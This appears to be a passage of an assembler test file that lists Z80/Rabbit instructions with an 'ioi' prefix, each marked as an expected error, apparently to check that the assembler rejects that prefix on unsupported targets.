Error ioi add (hl) ; Error ioi add (ix) ; Error ioi add (ix+127) ; Error ioi add (ix-128) ; Error ioi add (iy) ; Error ioi add (iy+127) ; Error ioi add (iy-128) ; Error ioi add a', (hl) ; Error ioi add a', (ix) ; Error ioi add a', (ix+127) ; Error ioi add a', (ix-128) ; Error ioi add a', (iy) ; Error ioi add a', (iy+127) ; Error ioi add a', (iy-128) ; Error ioi add a, (hl) ; Error ioi add a, (ix) ; Error ioi add a, (ix+127) ; Error ioi add a, (ix-128) ; Error ioi add a, (iy) ; Error ioi add a, (iy+127) ; Error ioi add a, (iy-128) ; Error ioi altd adc (hl) ; Error ioi altd adc (ix) ; Error ioi altd adc (ix+127) ; Error ioi altd adc (ix-128) ; Error ioi altd adc (iy) ; Error ioi altd adc (iy+127) ; Error ioi altd adc (iy-128) ; Error ioi altd adc a, (hl) ; Error ioi altd adc a, (ix) ; Error ioi altd adc a, (ix+127) ; Error ioi altd adc a, (ix-128) ; Error ioi altd adc a, (iy) ; Error ioi altd adc a, (iy+127) ; Error ioi altd adc a, (iy-128) ; Error ioi altd add (hl) ; Error ioi altd add (ix) ; Error ioi altd add (ix+127) ; Error ioi altd add (ix-128) ; Error ioi altd add (iy) ; Error ioi altd add (iy+127) ; Error ioi altd add (iy-128) ; Error ioi altd add a, (hl) ; Error ioi altd add a, (ix) ; Error ioi altd add a, (ix+127) ; Error ioi altd add a, (ix-128) ; Error ioi altd add a, (iy) ; Error ioi altd add a, (iy+127) ; Error ioi altd add a, (iy-128) ; Error ioi altd and (hl) ; Error ioi altd and (ix) ; Error ioi altd and (ix+127) ; Error ioi altd and (ix-128) ; Error ioi altd and (iy) ; Error ioi altd and (iy+127) ; Error ioi altd and (iy-128) ; Error ioi altd and a, (hl) ; Error ioi altd and a, (ix) ; Error ioi altd and a, (ix+127) ; Error ioi altd and a, (ix-128) ; Error ioi altd and a, (iy) ; Error ioi altd and a, (iy+127) ; Error ioi altd and a, (iy-128) ; Error ioi altd bit -1, (hl) ; Error ioi altd bit -1, (hl) ; Error ioi altd bit -1, (ix) ; Error ioi altd bit -1, (ix) ; Error ioi altd bit -1, (ix+127) ; Error ioi altd bit -1, (ix+127) ; Error ioi altd bit -1, (ix-128) ; Error ioi altd bit -1, (ix-128) ; Error ioi altd bit -1, (iy) ; Error ioi altd bit -1, (iy) ; Error ioi altd bit -1, (iy+127) ; Error ioi altd bit -1, (iy+127) ; Error ioi altd bit -1, (iy-128) ; Error ioi altd bit -1, (iy-128) ; Error ioi altd bit 0, (hl) ; Error ioi altd bit 0, (ix) ; Error ioi altd bit 0, (ix+127) ; Error ioi altd bit 0, (ix-128) ; Error ioi altd bit 0, (iy) ; Error ioi altd bit 0, (iy+127) ; Error ioi altd bit 0, (iy-128) ; Error ioi altd bit 1, (hl) ; Error ioi altd bit 1, (ix) ; Error ioi altd bit 1, (ix+127) ; Error ioi altd bit 1, (ix-128) ; Error ioi altd bit 1, (iy) ; Error ioi altd bit 1, (iy+127) ; Error ioi altd bit 1, (iy-128) ; Error ioi altd bit 2, (hl) ; Error ioi altd bit 2, (ix) ; Error ioi altd bit 2, (ix+127) ; Error ioi altd bit 2, (ix-128) ; Error ioi altd bit 2, (iy) ; Error ioi altd bit 2, (iy+127) ; Error ioi altd bit 2, (iy-128) ; Error ioi altd bit 3, (hl) ; Error ioi altd bit 3, (ix) ; Error ioi altd bit 3, (ix+127) ; Error ioi altd bit 3, (ix-128) ; Error ioi altd bit 3, (iy) ; Error ioi altd bit 3, (iy+127) ; Error ioi altd bit 3, (iy-128) ; Error ioi altd bit 4, (hl) ; Error ioi altd bit 4, (ix) ; Error ioi altd bit 4, (ix+127) ; Error ioi altd bit 4, (ix-128) ; Error ioi altd bit 4, (iy) ; Error ioi altd bit 4, (iy+127) ; Error ioi altd bit 4, (iy-128) ; Error ioi altd bit 5, (hl) ; Error ioi altd bit 5, (ix) ; Error ioi altd bit 5, (ix+127) ; Error ioi altd bit 5, (ix-128) ; Error ioi altd bit 5, (iy) ; Error ioi altd bit 5, (iy+127) ; Error ioi altd bit 5, (iy-128) ; Error ioi altd bit 6, (hl) ; Error ioi altd bit 6, (ix) ; Error ioi altd bit 6, (ix+127) ; Error ioi altd bit 6, (ix-128) ; Error ioi altd bit 6, (iy) ; Error ioi altd bit 6, (iy+127) ; Error ioi altd bit 6, (iy-128) ; Error ioi altd bit 7, (hl) ; Error ioi altd bit 7, (ix) ; Error ioi altd bit 7, (ix+127) ; Error ioi altd bit 7, (ix-128) ; Error ioi altd bit 7, (iy) ; Error ioi altd bit 7, (iy+127) ; Error ioi altd bit 7, (iy-128) ; Error ioi altd bit 8, (hl) ; Error ioi altd bit 8, (hl) ; Error ioi altd bit 8, (ix) ; Error ioi altd bit 8, (ix) ; Error ioi altd bit 8, (ix+127) ; Error ioi altd bit 8, (ix+127) ; Error ioi altd bit 8, (ix-128) ; Error ioi altd bit 8, (ix-128) ; Error ioi altd bit 8, (iy) ; Error ioi altd bit 8, (iy) ; Error ioi altd bit 8, (iy+127) ; Error ioi altd bit 8, (iy+127) ; Error ioi altd bit 8, (iy-128) ; Error ioi altd bit 8, (iy-128) ; Error ioi altd cp (hl) ; Error ioi altd cp (ix) ; Error ioi altd cp (ix+127) ; Error ioi altd cp (ix-128) ; Error ioi altd cp (iy) ; Error ioi altd cp (iy+127) ; Error ioi altd cp (iy-128) ; Error ioi altd cp a, (hl) ; Error ioi altd cp a, (ix) ; Error ioi altd cp a, (ix+127) ; Error ioi altd cp a, (ix-128) ; Error ioi altd cp a, (iy) ; Error ioi altd cp a, (iy+127) ; Error ioi altd cp a, (iy-128) ; Error ioi altd dec (hl) ; Error ioi altd dec (ix) ; Error ioi altd dec (ix+127) ; Error ioi altd dec (ix-128) ; Error ioi altd dec (iy) ; Error ioi altd dec (iy+127) ; Error ioi altd dec (iy-128) ; Error ioi altd inc (hl) ; Error ioi altd inc (ix) ; Error ioi altd inc (ix+127) ; Error ioi altd inc (ix-128) ; Error ioi altd inc (iy) ; Error ioi altd inc (iy+127) ; Error ioi altd inc (iy-128) ; Error ioi altd ld a, (-32768) ; Error ioi altd ld a, (32767) ; Error ioi altd ld a, (65535) ; Error ioi altd ld a, (bc) ; Error ioi altd ld a, (bc+) ; Error ioi altd ld a, (bc-) ; Error ioi altd ld a, (de) ; Error ioi altd ld a, (de+) ; Error ioi altd ld a, (de-) ; Error ioi altd ld a, (hl) ; Error ioi altd ld a, (hl+) ; Error ioi altd ld a, (hl-) ; Error ioi altd ld a, (hld) ; Error ioi altd ld a, (hli) ; Error ioi altd ld a, (ix) ; Error ioi altd ld a, (ix+127) ; Error ioi altd ld a, (ix-128) ; Error ioi altd ld a, (iy) ; Error ioi altd ld a, (iy+127) ; Error ioi altd ld a, (iy-128) ; Error ioi altd ld b, (hl) ; Error ioi altd ld b, (ix) ; Error ioi altd ld b, (ix+127) ; Error ioi altd ld b, (ix-128) ; Error ioi altd ld b, (iy) ; Error ioi altd ld b, (iy+127) ; Error ioi altd ld b, (iy-128) ; Error ioi altd ld bc, (-32768) ; Error ioi altd ld bc, (32767) ; Error ioi altd ld bc, (65535) ; Error ioi altd ld c, (hl) ; Error ioi altd ld c, (ix) ; Error ioi altd ld c, (ix+127) ; Error ioi altd ld c, (ix-128) ; Error ioi altd ld c, (iy) ; Error ioi altd ld c, (iy+127) ; Error ioi altd ld c, (iy-128) ; Error ioi altd ld d, (hl) ; Error ioi altd ld d, (ix) ; Error ioi altd ld d, (ix+127) ; Error ioi altd ld d, (ix-128) ; Error ioi altd ld d, (iy) ; Error ioi altd ld d, (iy+127) ; Error ioi altd ld d, (iy-128) ; Error ioi altd ld de, (-32768) ; Error ioi altd ld de, (32767) ; Error ioi altd ld de, (65535) ; Error ioi altd ld e, (hl) ; Error ioi altd ld e, (ix) ; Error ioi altd ld e, (ix+127) ; Error ioi altd ld e, (ix-128) ; Error ioi altd ld e, (iy) ; Error ioi altd ld e, (iy+127) ; Error ioi altd ld e, (iy-128) ; Error ioi altd ld h, (hl) ; Error ioi altd ld h, (ix) ; Error ioi altd ld h, (ix+127) ; Error ioi altd ld h, (ix-128) ; Error ioi altd ld h, (iy) ; Error ioi altd ld h, (iy+127) ; Error ioi altd ld h, (iy-128) ; Error ioi altd ld hl, (-32768) ; Error ioi altd ld hl, (32767) ; Error ioi altd ld hl, (65535) ; Error ioi altd ld hl, (hl) ; Error ioi altd ld hl, (hl+127) ; Error ioi altd ld hl, (hl-128) ; Error ioi altd ld hl, (ix) ; Error ioi altd ld hl, (ix+127) ; Error ioi altd ld hl, (ix-128) ; Error ioi altd ld hl, (iy) ; Error ioi altd ld hl, (iy+127) ; Error ioi altd ld hl, (iy-128) ; Error ioi altd ld l, (hl) ; Error ioi altd ld l, (ix) ; Error ioi altd ld l, (ix+127) ; Error ioi altd ld l, (ix-128) ; Error ioi altd ld l, (iy) ; Error ioi altd ld l, (iy+127) ; Error ioi altd ld l, (iy-128) ; Error ioi altd or (hl) ; Error ioi altd or (ix) ; Error ioi altd or (ix+127) ; Error ioi altd or (ix-128) ; Error ioi altd or (iy) ; Error ioi altd or (iy+127) ; Error ioi altd or (iy-128) ; Error ioi altd or a, (hl) ; Error ioi altd or a, (ix) ; Error ioi altd or a, (ix+127) ; Error ioi altd or a, (ix-128) ; Error ioi altd or a, (iy) ; Error ioi altd or a, (iy+127) ; Error ioi altd or a, (iy-128) ; Error ioi altd rl (hl) ; Error ioi altd rl (ix) ; Error ioi altd rl (ix+127) ; Error ioi altd rl (ix-128) ; Error ioi altd rl (iy) ; Error ioi altd rl (iy+127) ; Error ioi altd rl (iy-128) ; Error ioi altd rlc (hl) ; Error ioi altd rlc (ix) ; Error ioi altd rlc (ix+127) ; Error ioi altd rlc (ix-128) ; Error ioi altd rlc (iy) ; Error ioi altd rlc (iy+127) ; Error ioi altd rlc (iy-128) ; Error ioi altd rr (hl) ; Error ioi altd rr (ix) ; Error ioi altd rr (ix+127) ; Error ioi altd rr (ix-128) ; Error ioi altd rr (iy) ; Error ioi altd rr (iy+127) ; Error ioi altd rr (iy-128) ; Error ioi altd rrc (hl) ; Error ioi altd rrc (ix) ; Error ioi altd rrc (ix+127) ; Error ioi altd rrc (ix-128) ; Error ioi altd rrc (iy) ; Error ioi altd rrc (iy+127) ; Error ioi altd rrc (iy-128) ; Error ioi altd sbc (hl) ; Error ioi altd sbc (ix) ; Error ioi altd sbc (ix+127) ; Error ioi altd sbc (ix-128) ; Error ioi altd sbc (iy) ; Error ioi altd sbc (iy+127) ; Error ioi altd sbc (iy-128) ; Error ioi altd sbc a, (hl) ; Error ioi altd sbc a, (ix) ; Error ioi altd sbc a, (ix+127) ; Error ioi altd sbc a, (ix-128) ; Error ioi altd sbc a, (iy) ; Error ioi altd sbc a, (iy+127) ; Error ioi altd sbc a, (iy-128) ; Error ioi altd sla (hl) ; Error ioi altd sla (ix) ; Error ioi altd sla (ix+127) ; Error ioi altd sla (ix-128) ; Error ioi altd sla (iy) ; Error ioi altd sla (iy+127) ; Error ioi altd sla (iy-128) ; Error ioi altd sra (hl) ; Error ioi altd sra (ix) ; Error ioi altd sra (ix+127) ; Error ioi altd sra (ix-128) ; Error ioi altd sra (iy) ; Error ioi altd sra (iy+127) ; Error ioi altd sra (iy-128) ; Error ioi altd srl (hl) ; Error ioi altd srl (ix) ; Error ioi altd srl (ix+127) ; Error ioi altd srl (ix-128) ; Error ioi altd srl (iy) ; Error ioi altd srl (iy+127) ; Error ioi altd srl (iy-128) ; Error ioi altd sub (hl) ; Error ioi altd sub (ix) ; Error ioi altd sub (ix+127) ; Error ioi altd sub (ix-128) ; Error ioi altd sub (iy) ; Error ioi altd sub (iy+127) ; Error ioi altd sub (iy-128) ; Error ioi altd sub a, (hl) ; Error ioi altd sub a, (ix) ; Error ioi altd sub a, (ix+127) ; Error ioi altd sub a, (ix-128) ; Error ioi altd sub a, (iy) ; Error ioi altd sub a, (iy+127) ; Error ioi altd sub a, (iy-128) ; Error ioi altd xor (hl) ; Error ioi altd xor (ix) ; Error ioi altd xor (ix+127) ; Error ioi altd xor (ix-128) ; Error ioi altd xor (iy) ; Error ioi altd xor (iy+127) ; Error ioi altd xor (iy-128) ; Error ioi altd xor a, (hl) ; Error ioi altd xor a, (ix) ; Error ioi altd xor a, (ix+127) ; Error ioi altd xor a, (ix-128) ; Error ioi altd xor a, (iy) ; Error ioi altd xor a, (iy+127) ; Error ioi altd xor a, (iy-128) ; Error ioi and (hl) ; Error ioi and (ix) ; Error ioi and (ix+127) ; Error ioi and (ix-128) ; Error ioi and (iy) ; Error ioi and (iy+127) ; Error ioi and (iy-128) ; Error ioi and a', (hl) ; Error ioi and a', (ix) ; Error ioi and a', (ix+127) ; Error ioi and a', (ix-128) ; Error ioi and a', (iy) ; Error ioi and a', (iy+127) ; Error ioi and a', (iy-128) ; Error ioi and a, (hl) ; Error ioi and a, (ix) ; Error ioi and a, (ix+127) ; Error ioi and a, (ix-128) ; Error ioi and a, (iy) ; Error ioi and a, (iy+127) ; Error ioi and a, (iy-128) ; Error ioi bit -1, (hl) ; Error ioi bit -1, (hl) ; Error ioi bit -1, (ix) ; Error ioi bit -1, (ix) ; Error ioi bit -1, (ix+127) ; Error ioi bit -1, (ix+127) ; Error ioi bit -1, (ix-128) ; Error ioi bit -1, (ix-128) ; Error ioi bit -1, (iy) ; Error ioi bit -1, (iy) ; Error ioi bit -1, (iy+127) ; Error ioi bit -1, (iy+127) ; Error ioi bit -1, (iy-128) ; Error ioi bit -1, (iy-128) ; Error ioi bit 0, (hl) ; Error ioi bit 0, (ix) ; Error ioi bit 0, (ix+127) ; Error ioi bit 0, (ix-128) ; Error ioi bit 0, (iy) ; Error ioi bit 0, (iy+127) ; Error ioi bit 0, (iy-128) ; Error ioi bit 1, (hl) ; Error ioi bit 1, (ix) ; Error ioi bit 1, (ix+127) ; Error ioi bit 1, (ix-128) ; Error ioi bit 1, (iy) ; Error ioi bit 1, (iy+127) ; Error ioi bit 1, (iy-128) ; Error ioi bit 2, (hl) ; Error ioi bit 2, (ix) ; Error ioi bit 2, (ix+127) ; Error ioi bit 2, (ix-128) ; Error ioi bit 2, (iy) ; Error ioi bit 2, (iy+127) ; Error ioi bit 2, (iy-128) ; Error ioi bit 3, (hl) ; Error ioi bit 3, (ix) ; Error ioi bit 3, (ix+127) ; Error ioi bit 3, (ix-128) ; Error ioi bit 3, (iy) ; Error ioi bit 3, (iy+127) ; Error ioi bit 3, (iy-128) ; Error ioi bit 4, (hl) ; Error ioi bit 4, (ix) ; Error ioi bit 4, (ix+127) ; Error ioi bit 4, (ix-128) ; Error ioi bit 4, (iy) ; Error ioi bit 4, (iy+127) ; Error ioi bit 4, (iy-128) ; Error ioi bit 5, (hl) ; Error ioi bit 5, (ix) ; Error ioi bit 5, (ix+127) ; Error ioi bit 5, (ix-128) ; Error ioi bit 5, (iy) ; Error ioi bit 5, (iy+127) ; Error ioi bit 5, (iy-128) ; Error ioi bit 6, (hl) ; Error ioi bit 6, (ix) ; Error ioi bit 6, (ix+127) ; Error ioi bit 6, (ix-128) ; Error ioi bit 6, (iy) ; Error ioi bit 6, (iy+127) ; Error ioi bit 6, (iy-128) ; Error ioi bit 7, (hl) ; Error ioi bit 7, (ix) ; Error ioi bit 7, (ix+127) ; Error ioi bit 7, (ix-128) ; Error ioi bit 7, (iy) ; Error ioi bit 7, (iy+127) ; Error ioi bit 7, (iy-128) ; Error ioi bit 8, (hl) ; Error ioi bit 8, (hl) ; Error ioi bit 8, (ix) ; Error ioi bit 8, (ix) ; Error ioi bit 8, (ix+127) ; Error ioi bit 8, (ix+127) ; Error ioi bit 8, (ix-128) ; Error ioi bit 8, (ix-128) ; Error ioi bit 8, (iy) ; Error ioi bit 8, (iy) ; Error ioi bit 8, (iy+127) ; Error ioi bit 8, (iy+127) ; Error ioi bit 8, (iy-128) ; Error ioi bit 8, (iy-128) ; Error ioi bit.a -1, (hl) ; Error ioi bit.a -1, (hl) ; Error ioi bit.a -1, (ix) ; Error ioi bit.a -1, (ix) ; Error ioi bit.a -1, (ix+127) ; Error ioi bit.a -1, (ix+127) ; Error ioi bit.a -1, (ix-128) ; Error ioi bit.a -1, (ix-128) ; Error ioi bit.a -1, (iy) ; Error ioi bit.a -1, (iy) ; Error ioi bit.a -1, (iy+127) ; Error ioi bit.a -1, (iy+127) ; Error ioi bit.a -1, (iy-128) ; Error ioi bit.a -1, (iy-128) ; Error ioi bit.a 0, (hl) ; Error ioi bit.a 0, (ix) ; Error ioi bit.a 0, (ix+127) ; Error ioi bit.a 0, (ix-128) ; Error ioi bit.a 0, (iy) ; Error ioi bit.a 0, (iy+127) ; Error ioi bit.a 0, (iy-128) ; Error ioi bit.a 1, (hl) ; Error ioi bit.a 1, (ix) ; Error ioi bit.a 1, (ix+127) ; Error ioi bit.a 1, (ix-128) ; Error ioi bit.a 1, (iy) ; Error ioi bit.a 1, (iy+127) ; Error ioi bit.a 1, (iy-128) ; Error ioi bit.a 2, (hl) ; Error ioi bit.a 2, (ix) ; Error ioi bit.a 2, (ix+127) ; Error ioi bit.a 2, (ix-128) ; Error ioi bit.a 2, (iy) ; Error ioi bit.a 2, (iy+127) ; Error ioi bit.a 2, (iy-128) ; Error ioi bit.a 3, (hl) ; Error ioi bit.a 3, (ix) ; Error ioi bit.a 3, (ix+127) ; Error ioi bit.a 3, (ix-128) ; Error ioi bit.a 3, (iy) ; Error ioi bit.a 3, (iy+127) ; Error ioi bit.a 3, (iy-128) ; Error ioi bit.a 4, (hl) ; Error ioi bit.a 4, (ix) ; Error ioi bit.a 4, (ix+127) ; Error ioi bit.a 4, (ix-128) ; Error ioi bit.a 4, (iy) ; Error ioi bit.a 4, (iy+127) ; Error ioi bit.a 4, (iy-128) ; Error ioi bit.a 5, (hl) ; Error ioi bit.a 5, (ix) ; Error ioi bit.a 5, (ix+127) ; Error ioi bit.a 5, (ix-128) ; Error ioi bit.a 5, (iy) ; Error ioi bit.a 5, (iy+127) ; Error ioi bit.a 5, (iy-128) ; Error ioi bit.a 6, (hl) ; Error ioi bit.a 6, (ix) ; Error ioi bit.a 6, (ix+127) ; Error ioi bit.a 6, (ix-128) ; Error ioi bit.a 6, (iy) ; Error ioi bit.a 6, (iy+127) ; Error ioi bit.a 6, (iy-128) ; Error ioi bit.a 7, (hl) ; Error ioi bit.a 7, (ix) ; Error ioi bit.a 7, (ix+127) ; Error ioi bit.a 7, (ix-128) ; Error ioi bit.a 7, (iy) ; Error ioi bit.a 7, (iy+127) ; Error ioi bit.a 7, (iy-128) ; Error ioi bit.a 8, (hl) ; Error ioi bit.a 8, (hl) ; Error ioi bit.a 8, (ix) ; Error ioi bit.a 8, (ix) ; Error ioi bit.a 8, (ix+127) ; Error ioi bit.a 8, (ix+127) ; Error ioi bit.a 8, (ix-128) ; Error ioi bit.a 8, (ix-128) ; Error ioi bit.a 8, (iy) ; Error ioi bit.a 8, (iy) ; Error ioi bit.a 8, (iy+127) ; Error ioi bit.a 8, (iy+127) ; Error ioi bit.a 8, (iy-128) ; Error ioi bit.a 8, (iy-128) ; Error ioi cmp (hl) ; Error ioi cmp (ix) ; Error ioi cmp (ix+127) ; Error ioi cmp (ix-128) ; Error ioi cmp (iy) ; Error ioi cmp (iy+127) ; Error ioi cmp (iy-128) ; Error ioi cmp a, (hl) ; Error ioi cmp a, (ix) ; Error ioi cmp a, (ix+127) ; Error ioi cmp a, (ix-128) ; Error ioi cmp a, (iy) ; Error ioi cmp a, (iy+127) ; Error ioi cmp a, (iy-128) ; Error ioi cp (hl) ; Error ioi cp (ix) ; Error ioi cp (ix+127) ; Error ioi cp (ix-128) ; Error ioi cp (iy) ; Error ioi cp (iy+127) ; Error ioi cp (iy-128) ; Error ioi cp a, (hl) ; Error ioi cp a, (ix) ; Error ioi cp a, (ix+127) ; Error ioi cp a, (ix-128) ; Error ioi cp a, (iy) ; Error ioi cp a, (iy+127) ; Error ioi cp a, (iy-128) ; Error ioi dec (hl) ; Error ioi dec (ix) ; Error ioi dec (ix+127) ; Error ioi dec (ix-128) ; Error ioi dec (iy) ; Error ioi dec (iy+127) ; Error ioi dec (iy-128) ; Error ioi inc (hl) ; Error ioi inc (ix) ; Error ioi inc (ix+127) ; Error ioi inc (ix-128) ; Error ioi inc (iy) ; Error ioi inc (iy+127) ; Error ioi inc (iy-128) ; Error ioi ld (-32768), a ; Error ioi ld (-32768), bc ; Error ioi ld (-32768), de ; Error ioi ld (-32768), hl ; Error ioi ld (-32768), ix ; Error ioi ld (-32768), iy ; Error ioi ld (-32768), sp ; Error ioi ld (32767), a ; Error ioi ld (32767), bc ; Error ioi ld (32767), de ; Error ioi ld (32767), hl ; Error ioi ld (32767), ix ; Error ioi ld (32767), iy ; Error ioi ld (32767), sp ; Error ioi ld (65535), a ; Error ioi ld (65535), bc ; Error ioi ld (65535), de ; Error ioi ld (65535), hl ; Error ioi ld (65535), ix ; Error ioi ld (65535), iy ; Error ioi ld (65535), sp ; Error ioi ld (bc), a ; Error ioi ld (bc+), a ; Error ioi ld (bc-), a ; Error ioi ld (de), a ; Error ioi ld (de+), a ; Error ioi ld (de-), a ; Error ioi ld (hl), -128 ; Error ioi ld (hl), 127 ; Error ioi ld (hl), 255 ; Error ioi ld (hl), a ; Error ioi ld (hl), b ; Error ioi ld (hl), c ; Error ioi ld (hl), d ; Error ioi ld (hl), e ; Error ioi ld (hl), h ; Error ioi ld (hl), hl ; Error ioi ld (hl), l ; Error ioi ld (hl+), a ; Error ioi ld (hl+127), hl ; Error ioi ld (hl-), a ; Error ioi ld (hl-128), hl ; Error ioi ld (hld), a ; Error ioi ld (hli), a ; Error ioi ld (ix), -128 ; Error ioi ld (ix), 127 ; Error ioi ld (ix), 255 ; Error ioi ld (ix), a ; Error ioi ld (ix), b ; Error ioi ld (ix), c ; Error ioi ld (ix), d ; Error ioi ld (ix), e ; Error ioi ld (ix), h ; Error ioi ld (ix), hl ; Error ioi ld (ix), l ; Error ioi ld (ix+127), -128 ; Error ioi ld (ix+127), 127 ; Error ioi ld (ix+127), 255 ; Error ioi ld (ix+127), a ; Error ioi ld (ix+127), b ; Error ioi ld (ix+127), c ; Error ioi ld (ix+127), d ; Error ioi ld (ix+127), e ; Error ioi ld (ix+127), h ; Error ioi ld (ix+127), hl ; Error ioi ld (ix+127), l ; Error ioi ld (ix-128), -128 ; Error ioi ld (ix-128), 127 ; Error ioi ld (ix-128), 255 ; Error ioi ld (ix-128), a ; Error ioi ld (ix-128), b ; Error ioi ld (ix-128), c ; Error ioi ld (ix-128), d ; Error ioi ld (ix-128), e ; Error ioi ld (ix-128), h ; Error ioi ld (ix-128), hl ; Error ioi ld (ix-128), l ; Error ioi ld (iy), -128 ; Error ioi ld (iy), 127 ; Error ioi ld (iy), 255 ; Error ioi ld (iy), a ; Error ioi ld (iy), b ; Error ioi ld (iy), c ; Error ioi ld (iy), d ; Error ioi ld (iy), e ; Error ioi ld (iy), h ; Error ioi ld (iy), hl ; Error ioi ld (iy), l ; Error ioi ld (iy+127), -128 ; Error ioi ld (iy+127), 127 ; Error ioi ld (iy+127), 255 ; Error ioi ld (iy+127), a ; Error ioi ld (iy+127), b ; Error ioi ld (iy+127), c ; Error ioi ld (iy+127), d ; Error ioi ld (iy+127), e ; Error ioi ld (iy+127), h ; Error ioi ld (iy+127), hl ; Error ioi ld (iy+127), l ; Error ioi ld (iy-128), -128 ; Error ioi ld (iy-128), 127 ; Error ioi ld (iy-128), 255 ; Error ioi ld (iy-128), a ; Error ioi ld (iy-128), b ; Error ioi ld (iy-128), c ; Error ioi ld (iy-128), d ; Error ioi ld (iy-128), e ; Error ioi ld (iy-128), h ; Error ioi ld (iy-128), hl ; Error ioi ld (iy-128), l ; Error ioi ld a', (-32768) ; Error ioi ld a', (32767) ; Error ioi ld a', (65535) ; Error ioi ld a', (bc) ; Error ioi ld a', (bc+) ; Error ioi ld a', (bc-) ; Error ioi ld a', (de) ; Error ioi ld a', (de+) ; Error ioi ld a', (de-) ; Error ioi ld a', (hl) ; Error ioi ld a', (hl+) ; Error ioi ld a', (hl-) ; Error ioi ld a', (hld) ; Error ioi ld a', (hli) ; Error ioi ld a', (ix) ; Error ioi ld a', (ix+127) ; Error ioi ld a', (ix-128) ; Error ioi ld a', (iy) ; Error ioi ld a', (iy+127) ; Error ioi ld a', (iy-128) ; Error ioi ld a, (-32768) ; Error ioi ld a, (32767) ; Error ioi ld a, (65535) ; Error ioi ld a, (bc) ; Error ioi ld a, (bc+) ; Error ioi ld a, (bc-) ; Error ioi ld a, (de) ; Error ioi ld a, (de+) ; Error ioi ld a, (de-) ; Error ioi ld a, (hl) ; Error ioi ld a, (hl+) ; Error ioi ld a, (hl-) ; Error ioi ld a, (hld) ; Error ioi ld a, (hli) ; Error ioi ld a, (ix) ; Error ioi ld a, (ix+127) ; Error ioi ld a, (ix-128) ; Error ioi ld a, (iy) ; Error ioi ld a, (iy+127) ; Error ioi ld a, (iy-128) ; Error ioi ld b', (hl) ; Error ioi ld b', (ix) ; Error ioi ld b', (ix+127) ; Error ioi ld b', (ix-128) ; Error ioi ld b', (iy) ; Error ioi ld b', (iy+127) ; Error ioi ld b', (iy-128) ; Error ioi ld b, (hl) ; Error ioi ld b, (ix) ; Error ioi ld b, (ix+127) ; Error ioi ld b, (ix-128) ; Error ioi ld b, (iy) ; Error ioi ld b, (iy+127) ; Error ioi ld b, (iy-128) ; Error ioi ld bc', (-32768) ; Error ioi ld bc', (32767) ; Error ioi ld bc', (65535) ; Error ioi ld bc, (-32768) ; Error ioi ld bc, (32767) ; Error ioi ld bc, (65535) ; Error ioi ld c', (hl) ; Error ioi ld c', (ix) ; Error ioi ld c', (ix+127) ; Error ioi ld c', (ix-128) ; Error ioi ld c', (iy) ; Error ioi ld c', (iy+127) ; Error ioi ld c', (iy-128) ; Error ioi ld c, (hl) ; Error ioi ld c, (ix) ; Error ioi ld c, (ix+127) ; Error ioi ld c, (ix-128) ; Error ioi ld c, (iy) ; Error ioi ld c, (iy+127) ; Error ioi ld c, (iy-128) ; Error ioi ld d', (hl) ; Error ioi ld d', (ix) ; Error ioi ld d', (ix+127) ; Error ioi ld d', (ix-128) ; Error ioi ld d', (iy) ; Error ioi ld d', (iy+127) ; Error ioi ld d', (iy-128) ; Error ioi ld d, (hl) ; Error ioi ld d, (ix) ; Error ioi ld d, (ix+127) ; Error ioi ld d, (ix-128) ; Error ioi ld d, (iy) ; Error ioi ld d, (iy+127) ; Error ioi ld d, (iy-128) ; Error ioi ld de', (-32768) ; Error ioi ld de', (32767) ; Error ioi ld de', (65535) ; Error ioi ld de, (-32768) ; Error ioi ld de, (32767) ; Error ioi ld de, (65535) ; Error ioi ld e', (hl) ; Error ioi ld e', (ix) ; Error ioi ld e', (ix+127) ; Error ioi ld e', (ix-128) ; Error ioi ld e', (iy) ; Error ioi ld e', (iy+127) ; Error ioi ld e', (iy-128) ; Error ioi ld e, (hl) ; Error ioi ld e, (ix) ; Error ioi ld e, (ix+127) ; Error ioi ld e, (ix-128) ; Error ioi ld e, (iy) ; Error ioi ld e, (iy+127) ; Error ioi ld e, (iy-128) ; Error ioi ld h', (hl) ; Error ioi ld h', (ix) ; Error ioi ld h', (ix+127) ; Error ioi ld h', (ix-128) ; Error ioi ld h', (iy) ; Error ioi ld h', (iy+127) ; Error ioi ld h', (iy-128) ; Error ioi ld h, (hl) ; Error ioi ld h, (ix) ; Error ioi ld h, (ix+127) ; Error ioi ld h, (ix-128) ; Error ioi ld h, (iy) ; Error ioi ld h, (iy+127) ; Error ioi ld h, (iy-128) ; Error ioi ld hl', (-32768) ; Error ioi ld hl', (32767) ; Error ioi ld hl', (65535) ; Error ioi ld hl', (hl) ; Error ioi ld hl', (hl+127) ; Error ioi ld hl', (hl-128) ; Error ioi ld hl', (ix) ; Error ioi ld hl', (ix+127) ; Error ioi ld hl', (ix-128) ; Error ioi ld hl', (iy) ; Error ioi ld hl', (iy+127) ; Error ioi ld hl', (iy-128) ; Error ioi ld hl, (-32768) ; Error ioi ld hl, (32767) ; Error ioi ld hl, (65535) ; Error ioi ld hl, (hl) ; Error ioi ld hl, (hl+127) ; Error ioi ld hl, (hl-128) ; Error ioi ld hl, (ix) ; Error ioi ld hl, (ix+127) ; Error ioi ld hl, (ix-128) ; Error ioi ld hl, (iy) ; Error ioi ld hl, (iy+127) ; Error ioi ld hl, (iy-128) ; Error ioi ld ix, (-32768) ; Error ioi ld ix, (32767) ; Error ioi ld ix, (65535) ; Error ioi ld iy, (-32768) ; Error ioi ld iy, (32767) ; Error ioi ld iy, (65535) ; Error ioi ld l', (hl) ; Error ioi ld l', (ix) ; Error ioi ld l', (ix+127) ; Error ioi ld l', (ix-128) ; Error ioi ld l', (iy) ; Error ioi ld l', (iy+127) ; Error ioi ld l', (iy-128) ; Error ioi ld l, (hl) ; Error ioi ld l, (ix) ; Error ioi ld l, (ix+127) ; Error ioi ld l, (ix-128) ; Error ioi ld l, (iy) ; Error ioi ld l, (iy+127) ; Error ioi ld l, (iy-128) ; Error ioi ld sp, (-32768) ; Error ioi ld sp, (32767) ; Error ioi ld sp, (65535) ; Error ioi ldd ; Error ioi ldd (bc), a ; Error ioi ldd (de), a ; Error ioi ldd (hl), a ; Error ioi ldd a, (bc) ; Error ioi ldd a, (de) ; Error ioi ldd a, (hl) ; Error ioi lddr ; Error ioi lddsr ; Error ioi ldi ; Error ioi ldi (bc), a ; Error ioi ldi (de), a ; Error ioi ldi (hl), a ; Error ioi ldi a, (bc) ; Error ioi ldi a, (de) ; Error ioi ldi a, (hl) ; Error ioi ldir ; Error ioi ldisr ; Error ioi lsddr ; Error ioi lsdr ; Error ioi lsidr ; Error ioi lsir ; Error 